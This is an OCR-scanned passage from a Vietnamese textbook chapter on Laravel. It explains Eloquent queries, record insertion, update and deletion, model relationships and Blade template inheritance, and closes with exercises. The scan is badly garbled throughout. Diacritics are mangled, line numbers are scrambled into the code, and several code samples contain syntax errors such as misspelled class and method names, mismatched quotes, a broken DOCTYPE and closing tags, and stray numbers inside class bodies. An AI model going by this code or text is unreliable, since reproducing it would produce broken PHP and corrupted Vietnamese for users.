$book = Book::where(‘id’, '=", 1);
twong dwong véi truy van SQL
“select * from Sach where id =1";
hay lénh
$book = Boeok::whereCid', =", 1) -> value('tieude’);
twong dweng woi truy vanSQL
“select/tieude from Sach whereid=17;

Dé€ truy van mot truong thong tin xac dinh ctia tat ca cac ban ghi, st dung phuong
thirc lists(). Vi duy, lénh

$book = Book::lists(‘tieude’);
twong dwong voi truy van SQL
“select tieude from Sach”;

Co6 thé st dung két hop cac phuong thike (all(), where(), lists(), ...) nham tao ra
cac truy van phtec tap. Vi dy, cau lénh sau day sé liét ké cac sach cta tac gia
‘Nguyen Van A’ xuat ban trudc nam 2017:

$book = Book:: where (“tentacgia’, '=", 'Nguyen Van A’)
> where (‘namxb’, '<’, '2017")->all();

Dé€ gidi han s6 luong ban ghi, sit dung phuong thite take(). Vi dy, cau 1énh sau
1dy 5 cudn sach cta tac gia ‘Nguyen Van A”:

$book = Book::where(‘tentacgia’,’=",’Nguyen Van A’)
->take(5)->get();

Dé sap xép dit liéu duoc truy van, st dung phuwong thitc orderBy(). Vi du, cau
1énh sau sap x&p cac sach giam dan theo ndm xuat ban:

$book = Book:order By(‘namxb’,’desc’)->get();

Eloquent con cung cdp cac phuwong thic dé€ thuyc hién cac ham két tap
(aggregate) nhw dém sd luwong (count), tim gia tri 1on nhat (maximize), tim gia tri nho
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nhat (minimize), tinh tong (sumarize), tinh gia tri trung binh (average). Vi dy, cau
lénh sau day dém so sach cta tac gia Nguyen Van A™:

$c = Book::where(‘tentacgia’,’=",’'Nguyen Van A’)->count();

Thém méi, cdp nhdt dir liéu

b€ thém mot ban ghi méi vao co so dit liéu, phuwong thitc save() dwoc st dung.
Vi dy, doan ma sau day thém mot cudn sach mdéi vao bang Sach.

1
2
3.
4.
5
6
7

<?php

// Tép SomeFile.php

use App\Book;

$book = new Book();

$book->id = '10';

$book->tieude = 'Khoi ngudn sang tao';
$book->save();

Cap nhat dit liéu cting dwoc thuc hién béng phuong thitc save(), nhung thay vi

tao méi mot d6i twong mo hinh, tng dung can tim dén dang do6i twong mo hinh
can cap nhat> Vi du) doan m3 lénh sau day stia\déi|tieu déeta cudn sach cdé ma la
10" trong bang Sach.

AUV h wWN PR

<?php

// Tép SomeFile.php

use App\Book;

$book = Book::find(10);

$book->tieude = 'Rén luyén ky nang sang tao';
$book->save();

Xoa dir lieu

D€ xo04 dit liéu, c6 thé st dung phuong thic destroy() hodc delete(). Vi du, doan
ma sau thue hién xda cudn sach cé ma la '10'.

=

auvih wnN

<?php

// Tép SomeFile.php

use App\Book;

$book = Book::find(10);

$book->delete();

// C6 thé thuc hién 1énh Book::destroy(10); thay cho hai cau 1lénh trén.

10.2.6. Thiét 1ap quan hé giira cic moé hinh

Trong thuc t€, ting dung ludn can truy van thong tin tit nhiéu bang di liéu cd

quan hé véi nhau. D€ thuan tién trong viéc cai ddt, thay vi nguoi lap trinh phai
viét cac cau lénh truy van tir nhiéu bang dw liéu, Laravel cung cdp cac phuong
thire d€ thiét 1ap quan hé gitra cac d6i twong mod hinh. Cach thire thuwc hién cac
quan hé co ban (mot-mot, mot-nhiéu, va nhiéu—nhiéu) dugc trinh bay ngay sau

day:

Quan hé mot-maot

Xét vi du moét doc gia chi duoc cap mot the (thé thu vién) va mot thé chi thudc
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sO httu cua mot doc gia. D€ thiét 1ap quan hé mot-mot gitta hai mo hinh Reader
(doc gia, twrong ing bang Docgia trong co s¢ dit liéu) va Card (thé doc, tuong tng
bang Thedoc trong co s6 dit liéu), tng dung c6 thé cung cap phwong thirc card()
cho m6 hinh Reader va/hoac phwong thitc reader() cho mo6 hinh Card. Phuong thixc
card() cia mo hinh Reader cho biét thé ctia mot doc gia. Nguoc lai, phuwong thiec
reader() cia md hinh Card cho biét cht so hitu cia mot thé. Ma nguén dinh nghia
quan hé card() va reader() nhu sau (voi gia thiét cac bang Docgia va Thedoc déu co
khoa chinh ¢6 tén 1a id cho biét ma doc gia hay ma thé doc, tuong ting, bang
Thedoc c6 khda ngoai madg lién két dén truong id ctia bang Docgia):

=

<?php
// Tép app/Models/Reader.php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;

class Reader extends Model {
protected $table = 'Docgia’;
public function card() {
return $this->hasOne('App\Models\Card', 'madg');

}
}

PR RPrRLOUONOOUVLA,WN

ko -

<?php
// Tép app/Models/Card.php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;

class Card extends Model {
protected $table = 'Thedoc';
public function reader() {
return $this->belongsTo('App\Models\Reader', 'madg');

PP OONOOUVTDE WNER

0. 1}
1. }

Phuwong thttc card() caa mo6 hinh Reader st dung phuong thttc hasOne() cua
Eloquent d€ xac dinh d6i twgng Card lién quan. Tham s6 tht nhat cho hasOne() la
tén cua mo hinh c6 quan hé véi mo hinh dang dwoc dinh nghia. Trong vi du nay,
mo hinh dang dwoc dinh nghia la Reader va m6 hinh ¢é quan hé véi n6 la Card.
Tham s6 th hai cuia phuong thic hasOne() la tén thudc tinh déng vai tro khoa
ngoai trong mo hinh cé quan h¢, trong vi du nay 1a Card; mo6 hinh Card c6 thudc
tinh madg la khoa ngoai do Card duoc anh xa dén bang Thedoc. Vi quan hé card()
duoc dinh nghia nhu trén, tng dung cd thé truy xuat phuong thirc card() nhw thé
no la mot thudc tinh ctia mo hinh Reader. Vi duy, cau 1énh $card = Reader::find(100)-
>card; sé tra vé do6i tuong Card ctia nguoi doc ¢d ma la 100, hay truy van SQL dwoc
thuec hién twong dwong la "select * from Thedoc where madg=100".

Phuong thitc reader() cia md hinh Card st dung phuong thitc belongsTo() ctua
Eloquent dé€ xac dinh cht sé httu ctia thé. Tham s6 tht nhat cho belongsTo() la tén
ctia mo hinh cé quan hé véi mo hinh dang dwoc dinh nghia. Trong vi du nay, mo
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hinh dang dwoc dinh nghia la Card va mo6 hinh c6 quan hé v6i nd 1a Reader. Tham
s0 tht hai cta phuong thitc belongsTo() la tén thudc tinh déng vai tro khoa ngoai
trong mo hinh dang dwoc dinh nghia, trong vi du nay la Card. V6i quan hé reader()
duoc dinh nghia nhu trén, tng dung c6 thé truy xudt phuong thic reader() nhw
thé ndé la moét thudc tinh caa moé hinh Card. Vi du, cau lénh $reader =
Card::find(100)->reader; sé tra vé doi twgng Reader la chu s& hitu cta thé ¢6 ma la
100, hay truy van SQL dwoc thiec hién twong dwong 1a "select * from Docgia where id
in (select madg from Thedoc where id=100)".

Quan hé mot-nhiéu

Xét vi du mot doc gia c6 thé muwon nhiéu cudn sach trong khi tai mdi thoi diém
mot cudn sach chi ¢6 thé cho mét doc gia muon. DE thiét 1ap quan hé mot-nhiéu
gitta hai mo6 hinh Reader va Book, tmg dung c6 thé cung cap phuong thiic books()
cho m6 hinh Reader va/hodc phuong thitc reader() cho mo hinh Book. Phuong thikc
books() ctia m6 hinh Reader cho biét cac sach ma mét doc gia dang muon. Nguoc
lai, phuong thiteveader() eaa, md hinh Book cho bigt doc gia dang muron mot cudn
sach cu thé. Ma nguon dinh nghia quan hé-books() va readert) nhu sau (véi gia thiét
bang Sach ¢6 khoa ngoai la madg lien kétndén trwdng id cta bamg Docgia):

1. <?php

2. // Tép app/Models/Reader.php

3.

4. namespace App\Models;

5. use Illuminate\Database\Eloquent\Model;
6.

7. class Reader extends Model

8. {

9. protected $table = 'Docgia’;

10. 600

11. public function books()

12. {

13. return $this->hasMany('App\Models\Book', 'madg');
14. }

15. }

1. <?php

2. // Tép app/Models/Book.php

3. namespace App\Models;

4, use Illuminate\Database\Eloquent\Model;
5.

6. class Book extends Model {

7. protected $table = 'Sach’;

8. public function reader() {

9. return $this->belongsTo('App\Models\Reader', 'madg');
10. }

1. }

Phuong thttc books() cia md hinh Reader st dung phwong thitec hasMany() cua
Eloquent dé xac dinh cac ddi twgng Book lién quan. Céac tham s6 cho hasMany()
twong tu cac tham sd cho hasOne() nhu da duwoc mo ta trude day. Véi quan hé
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books() dwgc dinh nghia nhu trén, tng dung cd thé truy xudt phuong thirc books()
nhu thé nd 1a mot thudc tinh cia mo hinh Reader. Vi du, cau 1énh $books =
Reader::find(100)->books; sé tra vé mang cac ddi twong Book dang duoc ngudi doc co
ma la 100 muon, hay truy van SQL duwoc thuc hién tuwong dwong la "select * from
Sach where madg=100".

Phuong thitc reader() cia m6 hinh Book gidong hét phuong thitc reader() cia md
hinh Card da dwoc md ta trwdc day. Ung dung cb thé truy xudt phuong thirc
reader() nhw thé nd 1a mot thudc tinh ciia mo6 hinh Book. Vi du, cau 1énh $reader =
Book::find(100)->reader; sé tra vé doi twong Reader la doc gia dang muoc sach c6 ma
100, hay truy van SQL dwoc thuc hién twong duwong 1a "select * from Docgia where id
in (select madg from Sach where id=100)".

Quan hé nhiéu-nhiéu

Xét vi du mot tac gia co thé tham gia viét nhiéu sach va mot sach c6 thé co
nhiéu nguoi la dong tac gia. D€ thiét lap quan hé nhiéu-nhiéu gitra hai mo6 hinh
Author (tac gia, twong ng bang| Taogia trong co’sé[dr\liéw) va/Book, ttng dung co
thé cung edppphuong thitc books() cho md hinh Amther va/hodc phuong thirc
authors() cho m6 hinh Beok: Phuong thic baoks() cia m6 hinh Author cho biét cac
sach ma mot ngwoila.(dong) tac gia. Nguwoc laiy phueng thitcsauthors() cia mo
hinh Book cho biét nhitng nguoi 1a dong tac gia cta sach. Ma nguén dinh nghia
quan hé books() va authors() nhw sau (voi gia thiét trong co so dit liéu cé bang
VietSach(matg, masach, tt) thé hién quan hé nhiéu-nhiéu gitra bang Tacgia vdi bang
Sach, trong d6 matg la khoa ngoai lién két voi truong id caa bang Tacgia, masach la
khoéa ngoai lién két dén truong id cua Sach, tt la thi tu cua tac gia trong danh séch
dong tac gia):

=

<?php
// Tép app/Models/Author.php
namespace App\Models;
use Illuminate\Database\Eloquent\Model;

class Author extends Model {
protected $table = 'Tacgia';
public function books() {
return $this->belongsToMany( 'App\Models\Book', 'VietSach', 'matg', 'masach');

R R YVooONOOUVTEAWN

0. }
1.}

Phwong thttc books() cta md hinh Author st dung phuwong thic
belongsToMany() cua Eloquent d€ xac dinh cac d6i twong Book lién quan. Tham s&
thit nhat cho belongsToMany() la tén mo hinh c6 lién quan, trong treong hop nay la
Book. Tham s thit hai cho belongsToMany() 1a tén ctia bang thé hién quan hé trong
co s& dir liéu, trong truwong hop nay la VietSach. Tham s6 tht ba cho
belongsToMany() 1a khda ngoai lién két dén bang ting véi md hinh dang duoc dinh
nghia, trong treong hop nay la Author. Tham s0 cudi cung cho belongsToMany() 1a
khoda ngoai lién két dén bang tng véi md hinh duoc quan hé, trong truong hop
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nay la Book. V6i quan hé books() dwgc dinh nghia nhu trén, ting dung cé thé truy
xuat phuong thitc books() nhuw thé né la mot thudc tinh ctia md hinh Author. Vi duy,
cau lénh $books = Author::find(100)->books; sé tra vé mang cac doi twong Book ma tac
gia c6 ma 100 tham gia viét, hay truy van SQL duogc thuc hién tuwong duwong la
"select * from Sach where id in (select masach from VietSach where matg=100)".

Phuwong thtec authors() cua md hinh Book dugc dinh nghia twong ty phuwong
thirc books() cia mo hinh Author, nhu duoc thé hién trong vi du sau:

1. <?php

2. // Tép app/Models/Book.php

3. namespace App\Models;

4., use Illuminate\Database\Eloquent\Model;
5.

6. class Book extends Model {

7. protected $table = 'Sach’;

8. 500

9. public function authors() {

10. return $this->belongsToMany( 'App\Models\Author', 'VietSach', 'masach', 'matg');
11. }

12. }

10.2.7. Xay dung lop giao dién

Tat ca cac tép giao dién trong Laravel duoc dat trong thu mMuc resources/views.
Xu thé phat trién giao dién duoc wa chudng ngay nay la st dung cac ngdn ng
biéu mau (templating language). Laravel st dung biéu mau cé tén la Blade. Khong
gidng nhitng biéu mau khdc, Blade khong gidi han viéc st dung ma lénh PHP
trong giao dién. T4t ca cdc tép biéu mau Blade s& dwoc dich thanh tép ma lénh
PHP va luu dém cho dén khi tép biéu mau bi thay doi. Céc tép biéu mau Blade c6
tén cé tén mo rong la .blade.php.

Str dung lai ma nguon 1a thé manh khi lam viéc véi biéu mau. Mbi biéu mau co
thé ké thira hodc bao ham cac biéu mau khac. Trong thuc hanh, mot vai biéu mau
dugc thiét k& nham tao dan trang (layout) cho ting dung, cac biéu mau con lai k&
thita tir bifu mau dan trang, dong thoi chén thém ndi dung cho trang. Vi du, mot
dan trang don gian duoc tao ra bang bidu mau master.blade.php c6 noi dung nhu

sau:
1. <!-- resources/views/layouts/master.blade.php -->
2. <!IDOCTYPE html><html><head>
3. <title>ABC website</title>
4. <meta charset="utf-8">
5. </head><body>
6. <div class="container">
7. <div>@yield('header')</div>
8. <div class="row">
9. <div class="col-md-3">
10. @section('leftmenu')
11. Left menu
12. @show
13. </div>
14. <div class="col-md-9">@yield('content"')</div>
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15. </div>
16. </div>
17. </body></html>

Trong biéu mau nay, chi dan @section duogc sit dung dé tao ra cac phan doan noi
dung, trong khi chi dan @yield dwoc st dung d€ gitt chd cho phan doan ndi dung
sé dugc khai bao trong biéu mau ké thtra.

Biéu mAiu dwoc ké thira duoc goi la biéu mau cha. Bifu mau mdi, ké thira tir
bi€u mau cha, duoc goi la biéu mAu con. Chi dan @extends duoc st dung trong
biéu mau con d& chi dinh tén biéu mau cha ma né ké thira. Ngoai ra, chi dan
@section dwoc st dung trong bi€u mau con dé€ khai bdo ndi dung cho cic phan
doan da duoc giit chd bang chi dan @yield trong biéu mau cha. Vi dy, biéu mau
master da dwgc dinh nghia ¢ trén c6 thé duoc ké thira d€ tao biéu mau home nhu

sau.
1. <!-- resources/views/layouts/home.blade.php -->
2. @extends('layouts.master")
3.
4. @section('header")
5. <p>Welcome.</p>
6. @endsection
7. @section('leftmenu')
8. @parent
9. <ul class="vertical-menu">
10. <li><a href="#1">Menu 1</a></1i>
11. <li><a href="#2">Menu 2</a></1i>
12. </ul>

13. @endsection
14.@section('content")
15. <p>ABC website.</p>
16. @endsection

Céac phan doan header va content da duoc gitt chd trong biéu mau cha (master).
No6i dung cta chung dwoc khai bdo trong biéu mau con (home). Ngoai ra, phan
doan leftmenu da duoc dinh nghia trong biéu mau cha duoc ghi de (overwrite)
trong biéu mau con. Chi dan @parent cé tac dung 14y lai noi dung ctia phan doan
bi ghi de trong biéu mau cha.

C6 thé truyén dit liéu vao cho biéu mau va Blade cho phép hién thi dit liéu trén
biéu mau. Pbong thoi, Blade clng hd tro tat ca cac ciu trac diéu khién (lap, ré
nhénh) can thiét d€ x& ly di liéu. Trong vi du sau day, hanh dong show() cua 16p
diéu khién BookController (da trinh bay trong Muc 10.2.4) duoc sita d6i d€ tra vé
thong tin cua sach ¢ ma cho trude. Dau tién, nd sit dung 16p mo hinh Book d€ tim
sach c6 ma dwgc chi dinh ($id). Tiép theo, sach tim thdy dwgc chuyén cho biéu
mau showbook d& showbook hién thi thong tin sach.

1. <?php

2. // Tép app/Http/Controllers/BookConroller.php
3. namespace App\Http\Controllers;

4. use App\Book;

5. use App\Http\Controllers\Controller;
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6. class BookController extends Controller {

7. public function show($id) {

8. return view('showbook', ['book' => Book::findOrFail($id)]);
9. }

l0. }

Biéu mau showbook c6 ma ngudn nhu sau:

<!-- resources/views/layouts/showbook.blade.php -->
@extends('layouts.master)

@section('header")
<p>Théng tin sach</p>
@endsection

oNOOUVT DA WNBR

@section('content')
<h2>{{ $book->tieude }} </h2>
10. Cac tac gia:
11. @foreach ($book->authors as $author)
12. {{ $author->hoten }} <br>
13. (@endforeach
14. Nam xudt ban: {{ $book->namxb }}
15. @endsection

(o]

Trong biéu mau Shotwbadk, $book 1a tham s6nhan duoc ti lIopidiéu khién. No 1a

mot d6i tuong mo hinh.Boek./Bi€u mau truy cap.cac thudc tinh.cta$book dé hién
thi thong tin ctia sich. Ngoai ra, biéu mau st dung cau trac diéu @foreach d€ truy

xudt tén cac tac gia cua sach.

Bai tap

1.

Tim hiéu cach thitc luu trang thai va ddm bao an ninh cta Laravel (st dung tai
liéu chinh théng vé Laravel tai https://laravel.com/docs/ cung cac sach tiéng Anh
vé Laravel néu can).

2. Tim hiéu cach thirc st dung két hop Laravel véi cac thw vién phat trién mat
tredc nhu jQuery, Bootstrap, ... (st dung tai liéu chinh thong vé Laravel tai
https://laravel.com/docs/ cung cac sach tiéng Anh vé Laravel néu can)

3. Phét trién ing dung BookStore (bai tap cadc Chuong 7, 8, 9) bang Laravel.
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